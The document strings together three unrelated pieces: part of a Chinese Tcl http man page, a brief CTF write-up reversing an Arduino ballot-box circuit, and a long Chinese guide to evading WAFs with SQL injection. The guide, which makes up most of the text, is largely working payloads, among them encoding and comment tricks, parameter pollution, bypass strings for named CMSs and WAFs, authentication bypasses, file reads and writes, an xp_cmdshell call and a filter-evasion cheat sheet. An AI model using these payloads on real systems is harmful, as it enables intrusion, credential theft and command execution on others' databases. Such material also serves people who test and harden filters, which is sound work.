编码。它接受偶数个参数,它们是这个查询的键和值。它编码这些键和值,并生成有正确的 & 和 = 分隔符的一个字符串。 结果适合于传递给 \fB::http::geturl\fR 的 \fB\-query\fR 的值。 .TP \fB::http::reset\fP \fItoken\fP ?\fIwhy\fP? 这个命令重置用 \fItoken\fR 标识的 HTTP 事务。如果有的话,它设置 \fBstate(status)\fP 值为 \fIwhy\fP,它的缺省值是 \fBreset\fR,并且接着调用注册的 \fB\-command\fR 回调。 .TP \fB::http::wait\fP \fItoken\fP 这是阻塞并等待一个事务完成的一个方便函数。它使用了 \fBvwait\fR 所以只能在可信赖的代码中工作。还有,它对调用 \fB::http::geturl\fP 而不加 \fB-command\fP 选项的情况没有用处,在这种情况下 \fB::http::geturl\fP 在 HTTP 事务完成之前不返回,所以不需等待。 .TP \fB::http::data\fP \fItoken\fP 这是返回状态数组的 \fBbody\fP 元素(例如,URL 数据)的一个方便过程。 .TP \fB::http::error\fP \fItoken\fP 这是返回状态数组的 \fBerror\fP 元素的一个方便过程。 .TP \fB::http::status\fP \fItoken\fP 这是返回状态数组的 \fBstatus\fP 元素的一个方便过程。 .TP \fB::http::code\fP \fItoken\fP 这是返回状态数组的 \fBhttp\fP 元素的一个方便过程。 .TP \fB::http::ncode\fP \fItoken\fP 这是只返回状态数组的 \fBhttp\fP 元素的数值返回码(200、404 等)的一个方便过程。 .TP \fB::http::size\fP \fItoken\fP 这是返回状态数组的 \fBcurrentsize\fP 元素的一个方便过程,它表示在 \fB::http::geturl\fP 调用中从 URL 接收的字节数。 .TP \fB::http::cleanup\fP \fItoken\fP 这个过程清除与由 \fItoken\fP 标识的连接相关的状态。在这个调用之后,不能使用象 \fB::http::data\fP 这样的过程得到关于这个操作的信息。强烈建议你在做完一个特定的 HTTP 操作之后调用这个函数。不这样做将导致内存不被释放,如果你的应用调用 \fB::http::geturl\fP 次数足够多,内存泄露(leak)将导致性能下降(hit)...或更糟。 .TP \fB::http::register\fP \fIproto port command\fP 这个过程允许你通过注册一个前缀、缺省端口、和建立 Tcl \fBchannel\fR (通道)的命令,提供定制的 HTTP 传输类型如 HTTPS。比如: .RS .CS package require http package require tls http::register https 443 ::tls::socket set token [http::geturl https://my.secure.site/] .CE .RE .TP \fB::http::unregister\fP \fIproto\fP 这个过程注销(unregister)以前通过 \fBhttp::register\fR注册的一个协议处理器(handler)。 .SH "错误 ERRORS" \fBhttp::geturl\fP 过程在下列情况下将引发(raise)错误: 无效的命令行选项、一个无效的 URL、在一个不存在的主机上的一个 URL、或在一个存在的主机的一个不良端口上的一个 URL。这些错误意味着它不能开始网络事务。如果它在写出 HTTP 请求头部期间得到了一个 I/O 错误,它也引发一个错误。对于同步 \fB::http::geturl\fP 调用(这个未指定 \fB-command\fP),如果它在读 HTTP 回应头部或数据期间得到一个 I/O 错误,它将引发一个错误。因为在这种情况下 \fB::http::geturl\fP 不返回一个记号,它做所有需要的清除,你的应用没有必要调用 \fB::http::cleanup\fP。 .PP 对于异步 \fB::http::geturl\fP 调用,除了在读 HTTP 回应头部或数据期间出现 I/O 错误之外,所有上述错误情况不引起(throw)例外(异常)。这是因为在写完 HTTP 头部之后,\fB::http::geturl\fP 返回,而余下的 HTTP 事务在后台发生。命令的回调过程可以通过调用 \fB::http::status\fP 来检查状态,查看在读的时候是否发生了 \fIerror\fP 错误,如果有错误,调用 \fB::http::error\fP 来得到错误的消息。 .PP 另一个选择,如果主程序流到达需要知道异步 HTTP 请求的结果的某点(point),它可以调用 \fB::http::wait\fP 并接着象上面的回调过程做的那样检查状态和错误。 .PP 在任何情况下,你必须在你做完(检查)的时候调用 \fBhttp::cleanup\fP 来删除状态数组。 .PP 下面描述的是用 \fBhttp::status\fP 检查状态能确定的 HTTP 事务的可能的结果。 .TP ok 如果 HTTP 事务完整完成,则状态将是 \fBok\fP。但是,你仍需检查 \fBhttp::code\fP 的值来得到 HTTP 状态。\fBhttp::ncode\fP 过程只提供数值的错误(代码)(例如,200,404 或 500) 而 \fBhttp::code\fP 过程返回象“HTTP 404 File not found”这样的一个值。 .TP eof 如果服务器关闭了套接口而不回应,则不引发错误,但事务的状态将是 \fBeof\fP。 .TP error 错误消息将被存储在状态数组的 \fBerror\fP 元素中,可通过 \fB::http::error\fP 访问。 .PP 另一个错误的可能是 \fBhttp::geturl\fP 在服务器响应并关闭套接口之前不能向服务器写出所有的 post 查询。错误消息保存在状态数组的 \fBposterror\fP 元素中,而 \fBhttp::geturl\fP 接着尝试完成这个事务。如果它能读到服务器的响应,它将以一个 \fBok\fP 状态结束,否则将有一个 \fBeof\fP 状态。 .SH "状态数组 STATE ARRAY" \fB::http::geturl\fR 过程返回一个 \fItoken\fR ,可以用它来得到一个 Tcl 数组形式的 HTTP 事务状态。使用下面这个构造(construct)来建立一个易用的数组变量: .CS upvar #0 $token state .CE 一旦与某个 url 有关的数据不再需要,应当清除这个数组来释放存储(空间)。为此提供了 \fBhttp::cleanup\fP 过程。这个数组支持下列元素: .RS .TP \fBbody\fR URL 的内容。如果指定了 \fB\-channel\fR 选项,则它将为空。用 \fB::http::data\fP 命令返回这个值。 .TP \fBcharset\fR The value of the charset attribute from the \fBContent-Type\fR meta-data value. If none was specified, this defaults to the RFC standard \fBiso8859-1\fR, or the value of \fB$::http::defaultCharset\fR. Incoming text data will be automatically converted from this charset to utf-8. .TP \fBcoding\fR A copy of the \fBContent-Encoding\fR meta-data value. .TP \fBcurrentsize\fR 当前从 URL 取回的字节数。用 \fB::http::size\fP 命令返回这个值。 .TP \fBerror\fR 如果定义了这个元素,这是终止 HTTP 事务时(描述)错误的字符串。 .TP \fBhttp\fR 从服务器回应的 HTTP 状态。用 \fB::http::code\fP 命令返回这个值。这个值的格式是: .RS .CS \fIHTTP/1.0 code string\fP .CE \fIcode\fR 是在 HTTP 标准中定义的一个三位数。代码 200 是 OK。以4或5开始 的代码指示错误。以3开始的代码是重定向错误。在这种情况下,\fBLocation\fP 元数据指定包含所需信息的一个新 URL。 .RE .TP \fBmeta\fR HTTP 协议返回描述 URL 内容的元数据。状态数组的 \fBmeta\fR 元素是元数据的键和值的一个列表。下面的格式对初始化只包含元数据的一个数组有用: .RS .CS array set meta $state(meta) .CE 下面列出一些元数据的键,HTTP 标准定义了更多,服务器可自由的添加它们自己的键。 .TP \fBContent-Type\fR URL 内容的类型。例子包括 \fBtext/html\fR、\fBimage/gif\fR、\fBapplication/postscript\fR 和 \fBapplication/x-tcl\fR。 .TP \fBContent-Length\fR 内容的通告(advertise)的大小。通过 \fB::http::geturl\fR 获得的实际大小作为 \fBstate(size)\fR 来获取。 .TP \fBLocation\fR 包含所需的数据的一个可替代的 URL。 .RE .TP \fBposterror\fR 在向服务器写 post 查询时发生的错误。如果有的话。 .TP \fBstatus\fR 对于成功完成是 \fBok\fR,对于用户重重置(user-reset)是 \fBreset\fR,如果在事务完成之前发生了超时则是\fBtimeout\fP。或在错误的情况下是 \fBerror\fR。在事务(进行)期间这个值是一个空串。 .TP \fBtotalsize\fR \fBContent-Length\fR 元数据值的一个复本。 .TP \fBtype\fR \fBContent-Type\fR 元数据值的一个复本。 .TP \fBurl\fR 请求的 URL。 .RE .SH 示例 EXAMPLE .DS # Copy a URL to a file and print meta-data proc ::http::copy { url file {chunk 4096} } { set out [open $file w] set token [geturl $url -channel $out -progress ::http::Progress \\ -blocksize $chunk] close $out # This ends the line started by http::Progress puts stderr "" upvar #0 $token state set max 0 foreach {name value} $state(meta) { if {[string length $name] > $max} { set max [string length $name] } if {[regexp -nocase ^location$ $name]} { # Handle URL redirects puts stderr "Location:$value" return [copy [string trim $value] $file $chunk] } } incr max foreach {name value} $state(meta) { puts [format "%-*s %s" $max $name: $value] } return $token } proc ::http::Progress {args} { puts -nonewline stderr . ; flush stderr } .DE .SH "参见 SEE ALSO" safe(n), socket(n), safesock(n) .SH 关键字 KEYWORDS security policy, socket .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/20 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
------------------------------------------- [Eletronics] Eletronic Ballot Box Prototype - 50 points ------------------------------------------- > A member of Project SKY has infiltrated into a Club recycling facility and got access to one of the first prototypes of what became, afterwards, an electronic ballot box (yes, all of this has been born because of the influence of the Club). We know that the prototype has the potential to unveil the true inner workings behind electronic voting, but we need your help. Add CTF-BR{} around the flag before submitting it. In this task we were given an image of electronic circuit's hand sketch, and an Arduino code. It seemed that the code was reading a number from keyboard, setting 8 pins to various states depending on the number, waiting for the hardware to respond, reading other 8 pins (and sometimes adjusting them by one), then finally printing the values to serial port. Example for input=13: ``` digitalWrite(2, HIGH); delay(10); digitalWrite(4, HIGH); delay(10); digitalWrite(6, HIGH); delay(10); digitalWrite(8, LOW); delay(10); digitalWrite(22, LOW); delay(10); digitalWrite(24, HIGH); delay(10); digitalWrite(26, LOW); delay(10); digitalWrite(28, HIGH); a = digitalRead(3); Serial.print(a); Serial.print('-'); b = digitalRead(5); Serial.print(b); Serial.print('-'); c = digitalRead(7); Serial.print(c); Serial.print('-'); d = digitalRead(9); Serial.print(d); Serial.print('-'); e = digitalRead(23) - 1; Serial.print(e); Serial.print('-'); f = digitalRead(25); Serial.print(f); Serial.print('-'); g = digitalRead(27) + 1; Serial.print(g); Serial.print('-'); h = digitalRead(29) - 1; Serial.print(h); Serial.println(" "); delay(100); ``` Well, it seems all we needed to do was to reverse the hardware. Since it was only drawn on paper, we could do it by hand only. Here's my attempt: ![Circuit](ballot/my_sketch.jpg) It seemed that each output is a simple function of just one of the inputs. We wrote a simple Python script (`doit.py`) to parse the Arduino code and simulate the circuitry for every keyboard input. Running it gives us the flag: `FRAUDEToTAL`
sec-knowleage
原文 by r00tgrok ## 0x01 WAF的常见特征 之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍只谈及几点相关的。 总体来说WAF(Web Application Firewall)的具有以下四个方面的功能 1. 审计设备用来截获所有HTTP数据或者仅仅满足某些规则的会话 2. 访问控制设备用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式 3. 架构/网络设计工具,当运行在反向代理模式他们被用来分配职能,集中控制虚拟基础结构等。 4. WEB应用加固工具,这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点而且能够保护WEB应用编程错误导致的安全隐患。 WAF的常见特点 * 异常检测协议,拒绝不符合HTTP标准的请求 * 增强的输入验证,代理和服务端的验证而不只是限于客户端验证 * 白名单&黑名单,白名单适用于稳定的We应用黑名单适合处理已知问题 * 基于规则和基于异常的保护,基于规则更多的依赖黑名单机制,基于异常更为灵活 * 状态管理重点进行会话保护 * 另还有Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等 如果是对于扫描器,WAF有其识别之道 扫描器识别主要由以下几点 1) 扫描器指纹(head字段/请求参数值),以wvs为例会有很明显的Acunetix在内的标识 2) 单IP+ cookie某时间段内触发规则次数 3) 隐藏的链接标签等(`<a>`) 4) Cookie植入 5) 验证码,验证扫描器无法自动填充验证码 6) 单IP请求时间段内Webserver返回http状态404比例,扫描器探测敏感目录基于字典找不到文件则返回404 ## 0x02 绕过WAF的方法 从笔者目前找到的资料来看,可以把这些绕过waf的技术分为9类,包含从初级到高级技巧 a) 大小写混合 b)替换关键字 c)使用编码 d)使用注释 e)等价函数与命令 f)使用特殊符号 g)HTTP参数控制 h)缓冲区溢出 i)整合绕过 j)json 格式绕过 ### a) 大小写绕过 大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 匹配时大小写不敏感便无法绕过,这是最简单的绕过技术 `z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 ` 示例场景可能的情况为filter的规则大小写敏感,现在直接使用这种绕过技术成功的可能性已经不高了吧 ### b)替换关键字 这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过 `z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4` 替换关键字同样是很基础的技术,也可以构造得更复杂SeLSeselectleCTecT,关键要看正则表达式会进行几次匹配处理了 ### c)使用编码 1.URL编码 在Chrome中输入一个链接非保留字的字符,浏览器会对其URL编码如空格变为%20、单引号%27、左括号%28、右括号%29 普通的URL编码可能无法实现绕过,不过存在某种情况URL编码只进行了一次解码过滤,可以用两次编码绕过 `page.php?id=1%252f%252a*/UNION%252f%252a/SELECT` 2.十六进制编码 `z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))` 示例代码中前者是对单个字符十六进制编码,后者则是对整个字符串编码,相对来说较少见一点 3.Unicode编码 Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了 看一下常用的几个符号的一些Unicode编码 ``` 单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9 ``` 举例: ``` ?id=10%D6'%20AND%201=2%23 SELECT 'Ä'='A'; #1 ``` 两个示例中,前者利用双字节绕过,比如对单引号转义操作变成&#92;',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用。 第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过。 另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下。 常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子。 4.emoji 表情 emoji是一串unicode字集组成,一个emoji图标占5个字节,mysql 也支持emoji的存储,在mysql下占四个字节: ![](../pictures/emoji1.png) 既然在查询的时候%23(行内注释)会忽略掉后面的,那么Emoji就可以插入到%23与%0A之间。 ![](../pictures/emoji2.png) ### d) 使用注释 看一下常见的用于注释的符号有哪些 `//, -- , /**/, #, --+,-- -, ;--a` 1.普通注释 ``` z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users# ``` `/**/`在构造的查询语句中插入注释规避对空格的依赖,或关键字识别`#`、`--+`用于终结语句的查询 2.内联注释 相比普通注释内联注释用的更多`/!content/`,只有MySQL会正常识别content的内容其他 ``` index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 index.php?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4… ``` 两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括`/`、`*` 在内的这些字符能正常使用。 ### e)等价函数 与命令有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用 1.函数或变量 ``` hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir() ``` 举例substring()和substr()无法使用时 `?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74`  或者 ``` sql substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 ``` 上述这几个示例用于说明,有时候当某个函数不能使用时还可以找到其他的函数替代其实现,至于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论 2.符号and 和 or 有可能不能使用可以试下`&&`和`||` 能不能用,还有 `=` 不能使用的情况可以考虑尝试`<`、`>`,因为如果不小于又不大于那便是等于了 再看一下用得很多的空格,可以使用如下符号代替其使用 `%20 %09 %0a %0b %0c %0d %a0 /**/ ` 3.生僻函数MySQL/PostgreSQL支持XML函数 ``` sql Select UpdateXML('<script x=_></script> ','/script/@x/','src=//evil.com'); ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); ``` MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter,要想涵盖这么多东西从实际上来说不太可能而且代价太大,因此黑名单的确是更适合处理已知的情况 ### f) 特殊符号 这里我把非字母数字的字符都规在了特殊符号一类,这些符号有特殊的含义和用法涉及信息量比前面提到的几种都要多 先看下下面的几个例子 ``` 1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用 2.神奇的"-+.",select+id-1+1.from users; '+'是用于字符串连接的,'-'和'.'在此也用于连接,可以逃过空格和关键字过滤 3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量 4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制 ``` 可见使用这些字符的确是能做很多事,也证实了那句老话只有想不到没有做不到 笔者搜罗了部分可能发挥大作用的字符(这里未包括`'`、`*`、`/` 等在内,考虑到前面已经出现较多次了) `、~、!、@、%、()、[]、.、-、+ 、|、%00 举例 关键字拆分 ``` 'se'+'lec'+'t' %S%E%L%E%C%T 1 1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"') or --+2=- -!!!'2 id=1+(UnI)(oN)+(SeL)(EcT) ``` 本节最后再给出一些和这些字符多少有点关系的操作符供参考 `> > , <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN` 使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各数据库对符号的处理是不尽相同的,另一方面你得充分了解这些符号的特性和使用方法才能会考虑利用其实现绕过 ### g) HTTP参数控制 这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制 1.HPP(HTTP Parameter Polution)举例 `/?id=1;select+1&id=2,3+from+users+where+id=1—` `/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users` HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况不同的Web服务器处理方式如下 具体WAF如何处理要看其设置的规则,不过就示例中感觉最后一个来看有较大可能绕过 ![waf1](../pictures/wafi1.png) 2.HPF(HTTP Parameter Fragment) 这种方法是HTTP分割注入,同CRLF略有相似之处(使用控制字符%0a、%0d等换行) 举例  `/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--` `select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—` 看完上面两个示例发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,结果到了数据库执行查询时再合并语句。 3.HPC(HTTP Parameter Contamination) 这一概念见于Beyond SQLi: Obfuscate and Bypass这里Contamination意为污染 RFC2396定义了如下一些字符 ``` Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] ` ``` 不同的Web服务器处理处理构造得特殊请求时有不同的逻辑 ![waf2](../pictures/wafi2.png) 以魔术字符%为例,Asp/Asp.net会受到影响 ![waf3](../pictures/wafi3.png) ### h) 缓冲区溢出(Advanced) 缓冲区溢出用于对付WAF在内的软件,本身有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过 举例 `?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26` 示例 0xA*1000 指0xA后面 'A' 重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,也许在有些情况下可能不需要这么长也能溢出 ### i) 整合绕过 整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说关系到总体与局部, 另一方面则是多种技术的使用创造了更多的可能性组合,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。 举例 ``` z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4… id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/ +like+database()– - ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE +TABLE_NAME=0x41646d696e-- ``` ### j) json 格式绕过 ![image](https://user-images.githubusercontent.com/5785346/208339891-af7707a5-9f16-4533-ab69-bfae07a9e6ea.png) The New ‘ or ‘a’=’a Using JSON syntax, it is possible to craft new SQLi payloads. These payloads, since they are not commonly known, could be used to fly under the radar and bypass many security tools. Using syntax from different database engines, we were able to compile the following list of true statements in SQL: PostgreSQL: `'{"b":2}'::jsonb <@ '{"a":1, "b":2}'::jsonb` Is the left JSON contained in the right one? True. SQLite: `'{"a":2,"c":[4,5,{"f":7}]}' -> '$.c[2].f' = 7` Does the extracted value of this JSON equals 7? True. MySQL: `JSON_EXTRACT('{"id": 14, "name": "Aztalan"}', '$.name') = 'Aztalan'` Does the extracted value of this JSON equals to ‘Aztalan’? True. ![image](https://user-images.githubusercontent.com/5785346/208339982-df4bc8ab-f825-4034-8fc1-ddb04059a226.png) ![image](https://user-images.githubusercontent.com/5785346/208340020-fb416d7a-1230-4b4c-8f14-5121cdacde0c.png) ## 0x03 SQLi Filter的实现及Evasion SQL Injection 时用得最多的一些关键字如下 `and, or, union, where, limit, group by, select, ', hex, substr, white space` 对它们的检测完整正则表达式为 `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)` Filter Evasion在Beyond SQLi: Obfuscate and Bypass 以看到比较详细的解释 这里只做简化的说明其应对方式依次为 ``` sql ***note***:"=>"左边表示会被Filtered的语句,"=>"右边表示成功Bypass的语句, 左边标红的为被Filtered的关键字,右边标蓝的为替代其功能的函数或关键字 and => &&   or => || union select user, password from users   =>  1 || (select user from users where user_id = 1) = 'admin 1 || (select user from users where user_id = 1) = 'admin'  =>  1 || (select user from users limit 1) = 'admin 1 || (select user from users limit 1) = 'admin' =>  1 || (select user from users group by user_id having user_id = 1) = 'admin' 1 || (select user from users group by user_id having user_id = 1) = 'admin' => 1 || (select substr(group_concat (user_id),1,1) user from users )=1 1 || (select substr(group_concat(user_id),1,1) user from users) = 1 => 1 || 1 = 1 into outfile 'result.txt' 或者 1 || substr(user,1,1) = 'a'  1 || (select substr(group_concat(user_id),1,1) user from users) = 1  =>  1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61 或者 1 || substr(user,1,1) = unhex(61)  // ' Filtered 1 || substr(user,1,1) = unhex(61)  => 1 || substr(user,1,1) = lower(conv(11,10,36)) 1 || substr(user,1,1) = lower(conv(11,10,36)) =>  1 || lpad(user,7,1) 1 || lpad(user,7,1)  =>  1%0b||%0blpad(user,7,1)  // ' ' Filtered ``` 从上面给出的示例来看没有绝对的过滤,即便平时构建一个正常SQL语句的全部关键字都被过滤了,我们也还是能找到Bypass的方法。普世的阳光和真理尚且照不到每一个角落人,为构建出来的一个工具WAF就更加不可能尽善尽美了。我们可以相信WAF能为我们抵挡很多攻击,但是绝不能百分之一百的依赖它,就算它有着世上最为健全的规则它本身也是会存在缺陷的。 从前面到现在基本上每条注入语句中都有数字,如果某查询的数据类型为字符串、或者做了严格限制数字要被和谐掉,这就有点棘手了,不过办法总是有的 ![waf4](../pictures/wafi4.png) ![waf5](../pictures/wafi5.png) 上面两张图第一张是不能使用数字时通过使用数学函数得到某个数字的值,第二张则是这些数字对应的36进制的值。 因此有时候一个很简单的表达式可能会很复杂,或者非常长,其实际就是计算mod(a,b) ``` sql (mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi()))), lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))), conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))), lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))), lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi (),pow(pi(),pi()))), conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))), lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi (),pi())))))from(pass))),length(pass)) ``` ## 0x04 延伸及测试向量示例 a) CMS绕过实例 b) WAF绕过示例 c) SQLi Filter Evasion Cheat sheet d) 测试向量 a) Web应用绕过示例 1. e107 CMS ``` php $inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { foreach($inArray as $res) { if(stristr($_SERVER['QUERY_STRING'], $res)) { die("Access denied."); }}} ``` Bypass: `vuln.php/trackback?inject=UNI%6fN SELECT` 2. PHP-Nuke CMS ``` php if(isset($_SERVER['QUERY_STRING']) && (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { $queryString = $_SERVER['QUERY_STRING']; if ( stripos($queryString, '%20union%20') OR stripos($queryString, '/*') OR stripos($queryString, '*/union/*') OR stripos($queryString, '+union+') OR stripos($queryString, 'concat')) { die('Illegal Operation'); } ``` Bypass: `vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'` 3. TYPO3 CMS `$val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence` Bypass: vuln.php?id=1/&#42;&#42;/union%a0select/&#42;&#42;/1,pass,3&#96;a&#96;from&#96;users&#96; b) WAF绕过示例 1. ModSecurity CRS 2.0.9 ``` sql 1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1 1'union/*!select*/pass,load_file(0x123456789)from users-- - ``` 2. PHPIDS 0.6.4 ``` sql foo'!=@a:=0x1 div'1a false != true   //auth bypass foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0 a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1 ``` 3. GreenSQL 1.3.0 检测关键字:union, information_schema, into outfile, current_user, current_date, version 检测函数:mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version() ``` sql adm' 'in' or 1='1 // auth bypass '-(1)union(select table_name,load_file('/tmp/test'),@@version from /*! information_schema.tables */);%00 //select union '-'' into%a0outfile '/tmp/test //write to file ``` c) SQLi Filter Evasion Cheat sheet ``` sql #注释 ' or 1=1# ' or 1=1/* (MySQL < 5.1) ' or 1=1;%00 ' or 1=1 union select 1,2 as ` ' or#newline ' /*!50000or*/1='1 ' /*!or*/1='1 #前缀 + – ~ ! ' or –+2=- -!!!'2 #操作符: ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL #空格 %20 %09 %0a %0b %0c %0d %a0 /**/ 'or+(1)sounds/**/like"1"–%a0- 'union(select(1),tabe_name,(3)from`information_schema`.`tables`)# #有引号的字符串 SELECT 'a' SELECT "a" SELECT n'a' SELECT b'1100001' SELECT _binary'1100001' SELECT x'61' #没有引号的字符串 'abc' = 0×616263 ' and substr(data,1,1) = 'a'# ' and substr(data,1,1) = 0x61 # 0x6162 ' and substr(data,1,1) = unhex(61) # unhex(6162) ' and substr(data,1,1) = char(97 )# char(97,98) ' and substr(data,1,1) = 'a'# ' and hex(substr(data,1,1)) = 61# ' and ascii(substr(data,1,1)) = 97# ' and ord(substr(data,1,1)) = 97# ' and substr(data,1,1) = lower(conv(10,10,36))# 'a' #别名 select pass as alias from users select pass`alias alias`from users #字型 ' or true = '1 # or 1=1 ' or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1 ' or '1 # or true #操作符字型 select * from users where 'a'='b'='c' select * from users where ('a'='b')='c' select * from users where (false)='c' #认真绕过'=' select * from users where name = "=" select * from users where false = " select * from users where 0 = 0 select * from users where true#函数过滤器ascii (97) load_file/*foo*/(0×616263) #用函数构建字符串 'abc' = unhex(616263) 'abc' = char(97,98,99) hex('a') = 61 ascii('a') = 97 ord('a') = 97 'ABC' = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36)) #特殊字符 aes_encrypt(1,12) // des_encrypt(1,2) // @@ft_boolean_syntax // + -><()~*:""&| @@date_format // %Y-%m-%d @@innodb_log_group_home_dir // .\ @@new: 0 @@log_bin: 1 #提取子字符串substr('abc',1,1) = 'a' substr('abc' from 1 for 1) = 'a' substring('abc',1,1) = 'a' substring('abc' from 1 for 1) = 'a' mid('abc',1,1) = 'a' mid('abc' from 1 for 1) = 'a' lpad('abc',1,space(1)) = 'a' rpad('abc',1,space(1)) = 'a' left('abc',1) = 'a' reverse(right(reverse('abc'),1)) = 'a' insert(insert('abc',1,0,space(0)),2,222,space(0)) = 'a' 